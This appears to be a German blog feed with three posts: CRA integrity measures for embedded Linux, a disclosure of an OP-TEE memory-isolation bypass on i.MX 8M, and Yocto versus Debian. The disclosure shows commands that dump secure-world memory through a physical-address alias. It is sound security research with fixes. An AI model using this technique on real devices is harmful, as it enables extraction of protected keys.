Obwohl wir allesamt waschechte Tiroler sind, Andreas Hofer wäre stolz auf uns, verfassen wir alle unsere Blog-Posts auf Englisch. Das hat einen einfachen Grund: Unsere Arbeitssprache ist grundsätzlich Englisch, und wir haben Kunden aus aller Welt. Dennoch erreichen uns immer wieder Wünsche nach deutschsprachigen Inhalten. Aus diesem Grund veröffentlichen wir ab sofort ausgewählte Blog-Posts auch auf Deutsch.

Da wir, wie gesagt, primär auf Englisch schreiben, entstehen die deutschen Varianten zum Großteil mit Hilfe eines LLMs. Jede Übersetzung trägt deshalb am Anfang einen kurzen Hinweis samt Link zum englischen Original. Die deutsche Blogübersicht zeigt weiterhin auch alle englischen Beiträge, für die es keine Übersetzung gibt: Sie verpassen also nichts.

Wie schon bei der Vertraulichkeit führt der Cyber Resilience Act (CRA) auch die Integrität als grundlegende Cybersicherheitsanforderung auf. In diesem Beitrag betrachten wir, was das für Embedded-Linux-Geräte bedeutet.

Anhang I, Teil I(2) legt fest, dass Produkte mit digitalen Elementen, die auf dem EU-Markt bereitgestellt werden:

(f) die Integrität von gespeicherten, übermittelten oder anderweitig verarbeiteten Daten, seien es personenbezogene oder andere, sowie von Befehlen, Programmen und Konfigurationen gegen jede vom Nutzer nicht autorisierte Manipulation oder Veränderung schützen und Beschädigungen melden

]]>Integrität auf Embedded-Linux-Geräten unter dem Cyber Resilience Act

Wie schon bei der Vertraulichkeit führt der Cyber Resilience Act (CRA) auch die Integrität als grundlegende Cybersicherheitsanforderung auf. In diesem Beitrag betrachten wir, was das für Embedded-Linux-Geräte bedeutet.

Anhang I, Teil I(2) legt fest, dass Produkte mit digitalen Elementen, die auf dem EU-Markt bereitgestellt werden:

(f) die Integrität von gespeicherten, übermittelten oder anderweitig verarbeiteten Daten, seien es personenbezogene oder andere, sowie von Befehlen, Programmen und Konfigurationen gegen jede vom Nutzer nicht autorisierte Manipulation oder Veränderung schützen und Beschädigungen melden

Wie erfüllt ein Embedded-Linux-Gerät diese Anforderung nun tatsächlich? Die Integritätsanforderung des CRA ist so weit gefasst, wie sie klingt. Sie umfasst nicht nur (personenbezogene und nicht personenbezogene) Daten, sondern auch Befehle, Programme und Konfigurationen, und sie gilt unabhängig davon, ob das Gerät diese Werte speichert, übermittelt oder aktiv verarbeitet.

Es gibt keine einzelne technische Maßnahme, die all diese Werte in jedem Zustand schützt. Je nach Produkt und Threat Model kann Integrität Maßnahmen für die Boot-Kette, Software-Updates, gespeicherte Daten, Anwendungs-Binaries, Konfiguration, Befehle und die Kommunikation mit anderen Systemen erfordern.

Umfang der CRA-Integritätsanforderung

Dieser gliedert sich in zwei Teile:

Betroffene Werte

gespeicherte, übermittelte oder anderweitig verarbeitete Daten, seien es personenbezogene oder andere, sowie Befehle, Programme und Konfigurationen

Der CRA nennt Daten, Befehle, Programme und Konfigurationen, schreibt aber keine feste Liste von Komponenten oder Maßnahmen vor. Nach Artikel 13 muss die Cybersicherheits-Risikobewertung angeben, ob und wie die Anforderungen aus Anhang I, Teil I(2) auf das Produkt zutreffen. Für Embedded-Geräte bedeutet das, dass der Hersteller ein Threat Model benötigt. Es sollte aufzeigen, welche Werte ein Angreifer verändern könnte, welche Wege ihm dafür offenstehen und welche Folgen das hätte.

Bei einem Embedded-Gerät können zu den betroffenen Werten der Bootloader, der Kernel, die Kernel-Kommandozeile, Anwendungs-Binaries, die Konfiguration sowie Nachrichten oder Befehle gehören, die mit anderen Systemen ausgetauscht werden. Die Anforderung beschränkt sich daher nicht auf Nutzerdaten oder personenbezogene Daten. Selbst ein Gerät, das überhaupt keine personenbezogenen Daten speichert, fällt unter die Integritätsanforderung.

Erforderlicher Schutz

schützen … gegen jede vom Nutzer nicht autorisierte Manipulation oder Veränderung und Beschädigungen melden

Für ein Embedded-Linux-Gerät heißt das, relevante Werte gegen unbefugte Veränderung zu schützen, Integritätsverletzungen dort zu erkennen, wo es angebracht ist, und Beschädigungen zu melden. Die passenden Technologien hängen vom jeweiligen Wert und vom Threat Model ab.

In manchen Fällen erfordert der Schutz gegen unbefugte Veränderung zusätzlich Authentizität. Das Gerät muss überprüfen, dass Software, Konfiguration, Befehle oder Daten aus einer autorisierten Quelle stammen.

Integritätsmaßnahmen für Embedded Linux

Embedded-Linux-Geräte benötigen in der Regel Integritätsmaßnahmen auf mehreren Ebenen. Die folgenden Beispiele sind ein Ausgangspunkt, keine Checkliste für jedes Produkt:

• Secure Boot: um die Integrität und Authentizität jeder Komponente der Boot-Kette zu überprüfen, bevor das Gerät sie ausführt. Setzen Sie Secure Boot sorgfältig um: Angreifer können Eingaben außerhalb der Vertrauenskette missbrauchen, etwa die Kernel-Kommandozeile oder die Bootloader-Umgebung, um Schutzmechanismen zu umgehen.

• Signierte Updates: um die Authentizität und Integrität von Firmware-, Betriebssystem- und Anwendungs-Updates zu überprüfen, bevor das Gerät sie installiert. Je nach Produkt kann dazu auch ein Rollback-Schutz nötig sein.

• Integrität von Data at Rest: um Veränderungen oder Beschädigungen gespeicherter Daten zu erkennen. Je nach Ebene und Anwendungsfall lässt sich dies durch unterschiedliche Mechanismen umsetzen, etwa:

  • dm-verity für Read-only-Block-Devices
  • dm-integrity für beschreibbare Block-Devices, optional in Kombination mit dm-crypt für authentifizierte Verschlüsselung.
  • Linux IMA und EVM für Dateiintegrität und ausgewählte Datei-Metadaten.
  • fs-verity für Read-only-Dateiinhalte.

• Zugriffskontrolle: um die Integrität zu wahren, indem eingeschränkt wird, wer oder was relevante Werte verändern darf. Ein Gerät kann Zugriffskontrolle auf verschiedenen Ebenen umsetzen, zum Beispiel mit Dateisystem-Berechtigungen, Linux Security Modules wie SELinux oder AppArmor, oder mit Autorisierungsprüfungen auf Anwendungsebene für APIs (etwa REST oder GraphQL).

• Integrität von Data in Transit: um unbefugte Veränderungen von Daten zu erkennen, während das Gerät sie mit anderen Systemen austauscht, und veränderte Daten abzuweisen, zum Beispiel mit TLS.

• Trusted Execution Environments: um ausgewählten Code und ausgewählte Daten während der Verarbeitung zu schützen. So können TEEs Integritäts- und Vertraulichkeitsschutz bieten, selbst wenn ein Angreifer das Hauptbetriebssystem kompromittiert, abhängig vom TEE-Design und vom Threat Model.

Fazit

Die wichtigste Erkenntnis lautet: Die Integritätsanforderung des CRA ist breit gefasst, und keine einzelne Funktion kann sie erfüllen. Je nach Threat Model benötigt das Produkt möglicherweise mehrere sich ergänzende Technologien.

Zur Erinnerung: Ein Verstoß gegen den CRA ist mit empfindlichen Geldbußen verbunden. Die zentralen Pflichten gelten ab dem 11. Dezember 2027. Danach kann ein Verstoß gegen die grundlegenden Cybersicherheitsanforderungen Geldbußen von bis zu 15.000.000 EUR oder 2,5 % des gesamten weltweiten Jahresumsatzes nach sich ziehen.

Wenn Sie Unterstützung dabei brauchen, ein Threat Model abzuleiten, passende Integritätsmechanismen auszuwählen oder zu überprüfen, ob Ihre bestehenden Maßnahmen die relevanten Bedrohungen abdecken, helfen wir Ihnen gerne.

]]>https://sigma-star.at/de/blog/2026/06/trustzone-intermezzo/Thu, 11 Jun 2026 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/de/blog/2026/06/trustzone-intermezzo/TrustZone Intermezzo: Kaputte OP-TEE-Speicherisolation auf dem i.MX 8M

TL;DR: Wenn Sie kein Upstream-OP-TEE neuer als v4.10.0 mit CFG_TZASC_REGION0_SECURE=y oder i.MX-Downstream-OP-TEE neuer als lf-6.12.49_2.2.0 verwenden, ist der Speicher von OP-TEE nicht ordentlich geschützt und kann aus der Normal World kompromittiert werden.

Vor Kurzem erregte ein Commit aus dem Jahr 2024 im OP-TEE-OS-Git-Repository unsere Aufmerksamkeit. Er stellt sicher, dass der TrustZone Address Space Controller (TZASC) auf allen i.MX-8M-SoCs aktiviert ist. Unsere erste Reaktion war gemischt. Kann es wirklich sein, dass OP-TEE vor diesem Commit vergessen hat, seine eigene Speicherregion zu schützen? Oder fügt der Commit nur eine weitere Absicherung gegen bestimmte Fehlkonfigurationen hinzu? Und falls ja, warum wurde kein CVE eingereicht?

]]>TrustZone Intermezzo: Kaputte OP-TEE-Speicherisolation auf dem i.MX 8M

TL;DR: Wenn Sie kein Upstream-OP-TEE neuer als v4.10.0 mit CFG_TZASC_REGION0_SECURE=y oder i.MX-Downstream-OP-TEE neuer als lf-6.12.49_2.2.0 verwenden, ist der Speicher von OP-TEE nicht ordentlich geschützt und kann aus der Normal World kompromittiert werden.

Vor Kurzem erregte ein Commit aus dem Jahr 2024 im OP-TEE-OS-Git-Repository unsere Aufmerksamkeit. Er stellt sicher, dass der TrustZone Address Space Controller (TZASC) auf allen i.MX-8M-SoCs aktiviert ist. Unsere erste Reaktion war gemischt. Kann es wirklich sein, dass OP-TEE vor diesem Commit vergessen hat, seine eigene Speicherregion zu schützen? Oder fügt der Commit nur eine weitere Absicherung gegen bestimmte Fehlkonfigurationen hinzu? Und falls ja, warum wurde kein CVE eingereicht?

Erinnern Sie sich daran, wie die beiden Welten aufgeteilt sind. OP-TEE läuft in der sogenannten Secure World des SoC, während ein Betriebssystem wie Linux in der Normal World läuft (auch Non-Secure World genannt). Die Arm TrustZone erzwingt diese Trennung mithilfe des TZASC.

Es ist also entscheidend, dass die Normal World nicht direkt auf den Speicher der Secure World zugreifen kann. OP-TEE implementiert oft ein Software-TPM oder verwahrt andere geheime Schlüssel. Linux darf nicht darauf zugreifen, weder der Kernel noch root im Userspace.

Dieser Commit ließ uns nicht los, also gruben wir tiefer und probierten es aus. Viele unserer Kunden betreiben Systeme auf i.MX-8M-Basis und legen großen Wert auf Sicherheit. Wir hatten dabei viel Spaß, und so dokumentiert dieser Blogpost unsere Reise.

Den Bug bestätigen

Wir booteten eines unserer i.MX-8M-Boards, genauer gesagt das NXP i.MX 8M Mini EVK, mit OP-TEE Version 4.1.0, die diesen Commit nicht enthält. Auf diesem System legt OP-TEE seinen Hauptspeicher an die Adresse 0xbe000000, also versuchten wir, diese Region aus Linux auszulesen. Der Versuch sollte fehlschlagen, weil Linux in der Normal World läuft und OP-TEE in der Secure World.

Unter Linux erreicht root den gesamten Systemspeicher über /dev/mem, also versuchten wir, auf diese Weise von 0xbe000000 zu lesen. Es gibt Werkzeuge wie devmem2, aber wir schrieben ein paar Zeilen Python, um flexibel zu bleiben. Der Zugriff schlug sofort fehl. Gut. Oder?

Nicht so schnell. Der Kernel auf diesem System war mit CONFIG_STRICT_DEVMEM gebaut. Diese Option beschränkt /dev/mem auf Gerätespeicher, also blockierte sie unseren Lesezugriff, noch bevor die TrustZone überhaupt ins Spiel kam. Zeit, den Kernel mit deaktiviertem CONFIG_STRICT_DEVMEM neu zu bauen.

Auf dem frisch gebauten Kernel schlug der Lesezugriff weiterhin fehl. Gut, aber waren wir sicher? Als wir genauer nachdachten, wandten wir uns dem Kernel-Log zu und fanden diese Zeile:

OF: reserved mem: 0x00000000be000000..0x00000000bfbfffff (28672 KiB) nomap non-reusable optee_core@be000000

OP-TEE fügt dem an Linux übergebenen Device Tree Reserved-Memory-Knoten hinzu, sodass Linux diese Speicherregion vollständig ignoriert. Besonders die nomap-Eigenschaft stellt sicher, dass die Region nie abgebildet wird. Unser Test konnte also nicht funktionieren: Linux selbst hält die OP-TEE-Region außer Reichweite. Aber das war nicht das, was wir testen wollten. Wir wollten wissen, ob der Zugriff überhaupt möglich ist. Linux läuft in der Normal World und darf diesen Speicher nicht erreichen, auch dann nicht, wenn es das unbedingt will. Nach ein paar geänderten Codezeilen hatten wir einen Kernel, der den nomap-Hinweis von OP-TEE ignorierte. In einem realen Szenario kann ein Angreifer, der den Kernel übernommen hat, diese Einschränkung ebenfalls umgehen, am einfachsten durch das Laden eines eigenen Kernelmoduls.

Zeit, es erneut zu prüfen.

# dump memory
$ python3 devmem.py 0xbe000000 0x100000 > optee_core.bin

# check for a well known string
$ strings optee_core.bin | grep "OP-TEE version"
OP-TEE version: %s

Tatsächlich konnten wir den Speicher von OP-TEE aus Linux lesen! Der Bug ist echt und ernst. Er macht den gesamten Sicherheitsnutzen von OP-TEE zunichte. Ein kompromittiertes Linux-System kann die Secure World erreichen und Schlüsselmaterial extrahieren oder sogar verändern.

Noch nicht vorbei: Das rätselhafte region0 und Speicher-Aliase

Diese Geschichte hätte hier enden können. OP-TEE hat vergessen, die Speicherbeschränkung auf einer bestimmten Plattform zu erzwingen, ein einzelner Commit hat es behoben, und alles ist gut. Nicht schön, aber Bugs passieren. So ist das Leben.

Bei der weiteren Untersuchung fanden wir noch andere Commits rund um den TZASC:

• arm-trusted-firmware: fix(imx8m): don’t reconfigure default region0
• optee: drivers: imx: tzc380: add support to verify region0

Diese Commit-Nachrichten deuteten auf ein tieferes Problem hin. Die Secure World vor der Normal World zu schützen, erfordert mehr als das korrekte Aktivieren des TZASC. Die Ursache ist, dass der TZASC keine Speicher-Aliase berücksichtigt.

Mit dem passenden Fix stellt OP-TEE sicher, dass seine Speicherregion nicht aus der Normal World erreicht werden kann. Aber dieser Schutz stützt sich allein auf die Adresse, in unserem Fall 0xbe000000. Weil der Controller keine Speicher-Aliase berücksichtigt, kann eine andere Adresse auf genau denselben Speicherort zeigen und an der Zugriffsprüfung vorbeischlüpfen.

Hier wird region0 relevant. Der TZASC erlaubt es, Zugriffsberechtigungen für bestimmte Speicheradressbereiche zu konfigurieren. Hat eine angeforderte Adresse keinen konfigurierten Bereich im TZASC, fällt sie auf region0 zurück. region0 ist eine Speicherbereichskonfiguration, die den gesamten dem SoC bekannten Adressraum abdeckt. Stellen Sie es sich als Platzhalter vor. Im Reset-Zustand ist region0 nur aus der Secure World zugänglich, sodass der Fallback sicher ist. Also alles gut? Leider nicht, und genau das behebt der TF-A-Commit.

Wenn auf Ihrem System Speicher-Aliase auftreten können und irgendeine Komponente region0 während des Bootens umkonfiguriert, um Zugriff aus der Normal World zu erlauben, stecken Sie tief in Schwierigkeiten. Der Konfiguration sieht man die Gefahr nicht an.

Wir bohren nach

Nach dem Upgrade von OP-TEE und TF-A schien alles in Ordnung zu sein. Der Zugriff auf 0xbe000000 war nicht mehr möglich. Alles gut, bis uns auffiel, dass die OP-TEE-Konfigurationsoption CFG_TZASC_REGION0_SECURE in unserem Testaufbau deaktiviert war. CFG_TZASC_REGION0_SECURE prüft, ob region0 sicher konfiguriert ist, was bedeutet, dass nur Zugriff aus der Secure World erlaubt ist. Sie zu aktivieren, offenbarte die harte Wahrheit. OP-TEE löste sehr früh beim Start eine Panic aus:

E/TC:0 0 Panic 'region0 is not secure configured, non-secure memory alias access possible!' at core/arch/arm/plat-imx/tzc380.c:217 <imx_configure_tzasc>

Irgendetwas auf unserem System fasste region0 also immer noch an. Einer Ahnung folgend, schauten wir uns an, was unser Bootloader, U-Boot, tut. In arch/arm/mach-imx/imx8m/soc.c erlaubt er nicht-sicheren Zugriff auf region0.

void enable_tzc380(void)
{
[...]
        /*
         * set Region 0 attribute to allow secure and non-secure
         * read/write permission. Found some masters like usb dwc3
         * controllers can't work with secure memory.
         */
        writel(0xf0000000, TZASC_BASE_ADDR + 0x108);
}

Das Entfernen dieses writel() ließ die OP-TEE-Panic verschwinden und bestätigte, dass niemand sonst region0 mehr anfasst.

Dennoch ließ uns die Alias-Frage nicht los. War das ein echtes Problem oder nur ein theoretisches? Das i.MX 8M Mini Reference Manual zeigte keinen Speicher-Alias für den Bereich, den unser OP-TEE nutzt. Vielleicht waren wir auch ohne die region0-Fixes sicher?

Deshalb schrieben wir ein winziges Programm, das /dev/mem und /proc/self/pagemap nutzt, um Adressen zu finden, die auf denselben physischen Speicher abgebildet werden. Es wählt eine Seite, liest deren Inhalt, kippt ein paar hohe Bits der Adresse und prüft, ob die neue Adresse dieselben Bytes zurückgibt. Der Ansatz erwies sich als weit komplizierter als nötig, sobald er die ersten Aliase gefunden hatte. Beim Testen des OP-TEE-Bereichs mit deaktiviertem Schutz kam als ein Alias für 0xbe000000 die Adresse 0x1be000000 heraus.

Der DDR-Controller der i.MX-8M-Serie ignoriert also die oberen 32 Bit einer Speicheradresse. TZASC und DDR-Controller sind sich daher uneinig: Der TZASC sieht zwei nicht zusammenhängende Adressen, während der DDR-Controller sie auf denselben Ort abbildet. Die TZASC-Einstellungen gelten nicht für den Alias, also fällt der Zugriff auf region0 durch. Nicht alle oberen Bits sind unter Linux nutzbar, weil die Adresse weiterhin in den konfigurierten Adressraum passen muss. Aber Bit 32 zu setzen, schien einwandfrei zu funktionieren.

Als letzten Test wendeten wir alle Fixes erneut an, ließen aber U-Boot unberührt, sodass es region0 umkonfigurierte, und versuchten, den Speicher von OP-TEE auszulesen:

$ python3 devmem.py 0xbe000000 0x100000 > optee_core.bin
Bus error
$ python3 devmem.py 0x1be000000 0x100000 > optee_core.bin
$ strings optee_core.bin | grep "OP-TEE version"
OP-TEE version: %s

Es funktionierte. Die direkte Adresse war blockiert, aber der Alias glitt glatt durch, und der gesamte Schutz erwies sich als vergeblich.

Bin ich betroffen?

Sie sind potenziell betroffen, wenn Sie OP-TEE auf einem i.MX-8M-SoC betreiben. Zwei separate Probleme machen die Umgehung möglich, und jedes einzelne reicht aus, um die Isolation zu brechen:

1. OP-TEE vor 4.2.0 aktiviert den TZASC auf i.MX 8M nicht standardmäßig, sodass die sichere Region nie geschützt ist.
2. Andere Komponenten wie Bootloader und TF-A konfigurieren region0 um. Sobald ein Speicher-Alias auf ein offenes region0 durchfällt, erreicht die Normal World den sicheren Speicher. Ab OP-TEE 4.10.0 lässt sich das erkennen.

Um Ihr eigenes System zu prüfen, betreiben Sie ein aktuelles OP-TEE mit aktiviertem CFG_TZASC_REGION0_SECURE. Mit dieser Option verifiziert OP-TEE region0 beim Start und löst eine Panic aus, wenn es nicht sicher ist, sodass es auch den Fall abfängt, in dem eine andere Komponente region0 hinter seinem Rücken umkonfiguriert. Die Option ist erst ab OP-TEE 4.10.0 verfügbar.

Wenn Sie U-Boot als Bootloader verwenden, machen Sie in der Zwischenzeit den Commit imx8m: Configure trustzone region 0 for non-secure access rückgängig. Wir haben den Entwicklern einen Hinweis gegeben. Sobald eine bessere Lösung verfügbar ist, vermerken wir sie hier.

Für das i.MX-Downstream-OP-TEE gibt es einen Sonderfall. Wenn Sie es betreiben, verwenden Sie mindestens die Version, die den Commit LFOPTEE-468 core: plat-imx: tzc380: update TZASC configuration enthält. Leider hat Downstream einen anderen Weg gewählt. Statt darauf zu bestehen, die anderen Komponenten zu reparieren, konfigurieren sie region0 um, um den nicht-sicheren Zugriff zu deaktivieren. Das überdeckt nur das eigentliche Problem: Andere Softwarekomponenten ändern region0 aus den falschen Gründen. Unser Hinweis auf der U-Boot-Mailingliste löste eine hitzige Diskussion auf dem OP-TEE-GitHub darüber aus, wie damit umzugehen sei.

Unser wichtigster Rat ist einfach: Aktualisieren Sie OP-TEE, TF-A und Ihren Bootloader regelmäßig, denn sie enthalten wichtige Bugfixes. Leider wurden für diese Probleme keine CVE-Nummern eingereicht, sodass die Chance groß ist, dass viele Nutzer sie übersehen haben. Obwohl wir spät dran sind, haben wir CVE-Nummern beantragt und werden diesen Blogpost aktualisieren, sobald die CVEs zugewiesen sind.

Fazit

Moderne Computersysteme sind endlos komplex, und selbst gut etablierte Komponenten können seltsame Probleme verbergen. Wir mussten mehrere Schichten abtragen, um das eigentliche Problem vollständig zu bestätigen:

• CONFIG_STRICT_DEVMEM blockierte den ersten Test.
• Die nomap-Eigenschaft im Device Tree hielt Linux davon ab, die Region überhaupt abzubilden.
• Erst nachdem wir beides entfernt hatten, wurde die TZASC-Alias-Umgehung sichtbar.

Aus Sicht von Sicherheit und Code-Audit gilt einmal mehr ein Grundsatz: Misstraue allem. Sogar der Speicherschutz von OP-TEE braucht rigoroses Testen, und wie wir gezeigt haben, müssen Sie sicher sein, dass Sie das Richtige testen. Ein weniger erfahrener Ingenieur hätte womöglich geschlossen, dass alles in Ordnung ist, weil Linux selbst die ersten Zugriffsversuche verweigerte.

Zum Schluss: Danke an Pengutronix für die Behebung des Problems in TF-A und OP-TEE!

]]>https://sigma-star.at/de/blog/2026/05/sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so/Tue, 26 May 2026 00:00:00 +0200Richard Weinbergerhttps://sigma-star.at/de/blog/2026/05/sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so/<h1 id="sie-brauchen-wahrscheinlich-kein-yocto-und-das-ist-auch-gut-so">Sie brauchen wahrscheinlich kein Yocto, und das ist auch gut so</h1> <p>Neue Kunden reagieren oft überrascht, wenn wir in der Planungsphase fragen, ob sie Yocto wirklich brauchen. Die unausgesprochene Annahme lautet meist, dass jedes ernsthafte Embedded-Linux-Projekt heutzutage Yocto einsetzen muss. Wir bei der sigma star gmbh sehen uns als Power-User und Yocto-Experten. Genau deshalb sind wir oft diejenigen, die unseren Kunden raten, es sich zweimal zu überlegen, bevor sie zu Yocto greifen. Warum ist Yocto also die Standardwahl, und wann ist es die falsche Standardwahl?</p>Sie brauchen wahrscheinlich kein Yocto, und das ist auch gut so

Neue Kunden reagieren oft überrascht, wenn wir in der Planungsphase fragen, ob sie Yocto wirklich brauchen. Die unausgesprochene Annahme lautet meist, dass jedes ernsthafte Embedded-Linux-Projekt heutzutage Yocto einsetzen muss. Wir bei der sigma star gmbh sehen uns als Power-User und Yocto-Experten. Genau deshalb sind wir oft diejenigen, die unseren Kunden raten, es sich zweimal zu überlegen, bevor sie zu Yocto greifen. Warum ist Yocto also die Standardwahl, und wann ist es die falsche Standardwahl?

Was ist Yocto eigentlich?

Manchmal wird es “die Yocto-Linux-Distribution” genannt. Das ist es nicht. Yocto ist ein Werkzeugkasten, um Ihre eigene Linux-Distribution zu bauen. Das Yocto-Projekt selbst liefert eine Referenzdistribution namens Poky, gebaut aus bitbake, openembedded-core und meta-yocto¹.

Die Möglichkeit, ein Linux-System zusammenzustellen, das genau Ihren Anforderungen entspricht, macht Yocto für Embedded-Projekte enorm mächtig. Sie können den gesamten User Space für Ihre CPU kompilieren, jede Komponente patchen, in jeder Recipe Features ein- oder ausschalten und jede Version festpinnen oder ändern. Darüber hinaus veröffentlichen viele System-on-Chip-Hersteller (SoC) und Hardwarepartner fertige Board-Support-Package-Layer (BSP), die Ihnen einen funktionierenden Ausgangspunkt auf echter Hardware geben.

Diese Mischung aus Flexibilität und Herstellerunterstützung macht Yocto zur Standardwahl. Dieselbe Mischung macht Yocto aber auch zur Falle, wenn Sie so viel Kontrolle gar nicht brauchen.

Ihre Distribution, Ihre Verantwortung

Mit Regularien wie dem Cyber Resilience Act (CRA)² müssen Produkthersteller die ausgelieferte Software nun sicher halten und über die gesamte Produktlebensdauer Sicherheitsupdates bereitstellen. Das kann eine lange Zeit sein, um ein Linux-System zu warten.

Ein reguläres Yocto-Release wird nur etwa sieben Monate lang gepflegt, bis das nächste Release erscheint. Long-Term-Support-Releases (LTS) erhalten bis zu vier Jahre Updates, so die aktuelle Richtlinie seit Yocto 5.0 (Scarthgap)³.

Man könnte fragen, warum vier Jahre nicht genügen. Doch es gibt ein weniger offensichtliches Problem. Um es zu erkennen, müssen wir uns ansehen, was in einem Yocto-LTS-Release tatsächlich gepflegt wird.

Ein Yocto-Release ist eine Sammlung von bitbake-Recipes für Softwarekomponenten, mit bestimmten Versionen und Metadaten, plus der Referenzdistribution Poky. Während des Wartungszeitraums spielen die Yocto-Maintainer Bug- und Security-Fixes in diese Komponenten und in Poky ein. Bei Softwarekomponenten haben diese Fixes meist die Form von Backports aus neueren Upstream-Versionen.

Und jetzt kommt der Haken. Da Yocto ein Werkzeug ist, um Ihre eigene Distribution zu bauen, haben Sie höchstwahrscheinlich Änderungen wie diese vorgenommen:

• Nicht triviale Patches oder lokale Anpassungen an einer Handvoll Komponenten.
• Zusätzliche Komponenten, die über das hinausgehen, was Yocto mitliefert.
• Versions-Bumps oder Pins, um einen Fix mitzunehmen oder einen bekannt guten Stand zu halten.

Mit jedem Yocto-Wartungs-Release müssen Sie prüfen, ob sich Ihre Änderungen noch sauber auf den neuen Stand anwenden lassen. Zusätzlich müssen Sie sicherstellen, dass die Komponenten, die Sie hinzugefügt oder gepinnt haben, weiterhin von irgendwoher Fixes erhalten, denn die Yocto-Maintainer wissen nichts von ihnen. Unterm Strich ist es Ihre Wartungsarbeit.

Wenn Sie Poky nehmen und es fast unverändert verwenden, ist eine berechtigte Frage: Warum verwenden Sie überhaupt Yocto?

Was gerne verschwiegen wird: der Linux-Kernel

Yocto liefert einen Linux-Kernel und wartet ihn als Teil jedes Releases. Doch Sie werden ihn wahrscheinlich nicht unverändert verwenden. Fast immer müssen Sie zumindest die Patches Ihres Herstellers anwenden und einen Kernel betreiben, der neu genug ist, um die Treiber und Fixes zu enthalten, auf die Sie angewiesen sind. Sobald Sie also das CVE-Tracking einrechnen, ist allein der Kernel ein großer Teil Ihrer Wartungsarbeit, ob Sie Yocto verwenden oder nicht.

Es gibt einen Weg, diese Arbeit im Griff zu behalten. Wir raten unseren Kunden dringend, auf einem LTS-Kernel von kernel.org⁴ aufzubauen und alle ihre Änderungen in einer sauberen Patch-Queue zu halten. Um bei den Sicherheitsfixes aktuell zu bleiben, wechseln Sie auf jedes neue Stable-Release und wenden die Patch-Queue erneut an. kernel.org pflegt LTS-Kernel über Jahre, daher lässt sich Ihre Patch-Queue meist sauber anwenden und erfordert nur dann echten Aufwand, wenn Sie auf ein neues LTS-Release springen.

Je nach Ihrem Setup und Ihren Sicherheitsanforderungen gilt dasselbe für den Bootloader, der meist genauso herstellerspezifisch ist.

Und der Vollständigkeit halber: Beim Kernel zu bleiben, den Ihr Hersteller mitliefert, ist meist eine schlechte Idee. Hersteller-Kernel liegen Jahre hinter kernel.org zurück, erhalten selten Updates und verpassen fast alle Sicherheitsfixes. Ausnahmen bestätigen die Regel.

Die versteckten Kosten einer eigenen Distribution

“Ihre eigene Distribution” zu bauen klingt auf einer Präsentationsfolie großartig. In der Praxis kostet es echte Entwicklungszeit.

• Build-Zeiten. Yocto kompiliert praktisch alles aus dem Quelltext. Ein sauberer Build eines nicht trivialen Images dauert auf einer schnellen Workstation Stunden. Der sstate-cache und ein gemeinsames DL_DIR beschleunigen wiederholte Builds, doch der Cache selbst ist fragil: eine kleine Änderung an einer Recipe kann große Teile davon ungültig machen.
• Speicher- und CI-Kosten. Ein aktives Yocto-Build-Verzeichnis erreicht leicht 100 GiB oder mehr. CI-Runner brauchen üppigen Speicher und eine Möglichkeit, sstate zwischen Jobs zu teilen. Sie können sstate und DL_DIR spiegeln, um das erträglicher zu machen, doch diese Infrastruktur müssen Sie selbst betreiben.
• Lernkurve. bitbake-Recipes, Layer, dynamische Layer, Klassen, Overrides, bbappend-Dateien, PACKAGECONFIG, der Unterschied zwischen DEPENDS und RDEPENDS: die Liste der Dinge, die Sie verinnerlichen müssen, bevor Sie ein Yocto-Image ausliefern können, ist lang. Neue Entwickler in eine Yocto-Codebasis einzuarbeiten dauert Wochen, nicht Tage.
• Die Qualität der BSP-Layer schwankt. Manche SoC-Hersteller liefern saubere, gut gepflegte BSP-Layer. Andere liefern einen meta-vendor-Layer, der einen fünf Jahre alten Kernel oder Bootloader festpinnt, maschinenspezifische Recipes fest in die falschen Layer schreibt und bei jedem Poky-Bump kaputtgeht. Aus diesem “guten Ausgangspunkt” kann der schlimmste Teil Ihres Builds werden.

Nichts davon ist ein Grund, Yocto zu meiden. Es ist ein Grund, sich zu vergewissern, dass Sie es wirklich brauchen, bevor Sie sich festlegen.

Eine Alternative: eine etablierte Distribution wiederverwenden

Wenn Sie in Wahrheit nur ein solides Linux-Fundament brauchen, auf dem Ihre Anwendung läuft, löst eine etablierte Distribution wie Debian GNU/Linux die meisten dieser Probleme mit deutlich weniger Aufwand pro Projekt⁵.

Debian liefert heute rund 70.000 Binärpakete, gebaut für alle gängigen Architekturen: amd64, i386, arm64, armhf, riscv64, ppc64el und eine Handvoll weiterer⁶. Die Chancen stehen gut, dass Ihr SoC diese Binaries direkt ausführen kann, ohne dass eine Neukompilierung nötig ist.

Debian liefert nicht nur einen modernen User Space mit systemd, udev und dbus. Das Archiv enthält auch alles, was Sie brauchen, um kleine Linux-Systeme mit SysV-artigem Init oder BusyBox zu bauen. Sie wählen eine schlanke Basis, installieren nur die Pakete, die Ihr Produkt braucht, und profitieren trotzdem von der Arbeit der Debian-Paketbetreuer.

Wartung von Debian

Debian stable erhält vom Debian Security Team rund drei Jahre lang Sicherheitsupdates. Danach verlängert das Debian-LTS-Projekt, eine Gemeinschaftsinitiative, die Unterstützung um etwa zwei weitere Jahre auf den gängigen Architekturen⁷. In der Praxis ergibt das rund fünf Jahre pro Release, nahe an einem Yocto-LTS, aber mit weit weniger Aufwand pro Projekt.

Um die neuesten Fixes mitzunehmen, holen Sie die aktuellen Debian-Pakete und erzeugen Ihr Image neu. Verglichen mit einem Yocto-Setup, in dem Sie Upstream-Patches selbst backporten oder erneut prüfen müssen, ob sich Ihre lokalen Änderungen noch auf ein Wartungs-Release anwenden lassen, ist das eine andere Welt.

Wie entsteht ein Embedded-Image eigentlich?

An diesem Punkt kommen die meisten üblicherweise durcheinander. Sie stellen sich vor, ein SoC von einem USB-Stick zu booten und den Debian-Installer auszuführen. Das ist nicht gemeint.

Die Idee ist, auf einem Build-Host ein flashbares Image zu erzeugen und es auf das Gerät zu schreiben. Dazu brauchen Sie:

• Einen Bootloader, meist SoC-spezifisch (etwa u-boot).
• Einen Linux-Kernel, ebenfalls meist SoC-spezifisch.
• Ein Root-Dateisystem mit dem Linux-User-Space, direkt aus Debian übernommen.
• Ein Tool zum Zusammenbauen des Images, das die drei zu einem flashbaren Image zusammenfügt.

Für dieses letzte Stück sind die drei üblichen Verdächtigen mkosi⁸, ELBE⁹ und debos¹⁰.

